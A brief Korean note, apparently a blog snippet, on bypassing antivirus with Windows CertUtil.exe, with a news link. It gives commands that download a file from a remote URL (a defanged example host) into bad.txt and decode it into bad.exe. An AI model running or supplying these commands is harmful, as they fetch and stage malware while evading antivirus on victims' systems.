CertUtil.exe을 이용한 백신 우회

원격 URL을 통해 파일을 로컬로 저장가능 certutil.exe -urlcache -split -f [URL] output.file C:\Temp>certutil.exe -urlcache -split -f "hxxps://text.com/text.txt" bad.txt C:\Temp>certutil.exe -decode bad.txt bad.exe https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/...